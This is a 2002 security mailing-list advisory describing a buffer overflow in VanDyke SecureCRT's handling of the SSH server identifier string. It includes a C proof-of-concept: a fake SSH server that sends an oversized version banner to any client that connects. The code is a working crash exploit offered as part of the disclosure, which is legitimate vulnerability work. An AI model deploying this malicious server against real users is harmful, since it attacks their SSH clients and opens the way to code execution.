

[EXPL] Arbitrary Code Execution Vulnerability in VanDyke SecureCRT

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0102.html>

From: support@securiteam.com

Date: 07/24/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 24 Jul 2002 09:07:12 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Arbitrary Code Execution Vulnerability in VanDyke SecureCRT

SUMMARY

<<http://www.vandyke.com/products/securecrt/>> SecureCRT seems to have a bug in a seemingly trivial portion of it is SSH connection code. When an SSH Client connects to a server, the server sends a version string containing minor and major numbers for the protocol, as well as a server-specific identifier string that is specified to be no more than 40 bytes long. Unfortunately, the SecureCRT code that handles errors relating to an unsupported protocol version contains an unchecked buffer overflow when dealing with this identifier string.

DETAILS

Exploit:

```
#include <stdio.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#define PORT 9988
```

Securiteam: [EXPL] Arbitrary Code Execution Vulnerability in VanDyke SecureCRT

```
int main(int argc, char **argv) {
    int s, n, i, sz = sizeof(struct sockaddr_in);
    struct sockaddr_in local, whatever;
    char payload[510];

    strcpy(payload, "SSH-1.1-");
    for (i = 8; i < 508; i++)
        payload[i] = 'A';
    payload[508] = '\n';
    payload[509] = '\0';

    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        return 1;
    }
    local.sin_family = AF_INET;
    local.sin_port = htons(PORT);
    local.sin_addr.s_addr = INADDR_ANY;
    memset(&(local.sin_zero), 0, 8);
    if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)
    {
        perror("bind");
        return 1;
    }
    if (listen(s, 2) == -1) {
        perror("listen");
        return 1;
    }
    printf("waiting for connection...\n");
    if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
        perror("accept");
        return 1;
    }
    printf("client connected\n");
    if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
        perror("send");
        return 1;
    }
    printf("sent string: [%s]\n", payload);
    close(n);
    close(s);
    return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:ogl@SirDrinkalot.rm-f.net>>
Kyuzo.

=====

Securiteam: [EXPL] Arbitrary Code Execution Vulnerability in VanDyke SecureCRT

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[TOOL] The Logging Project"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)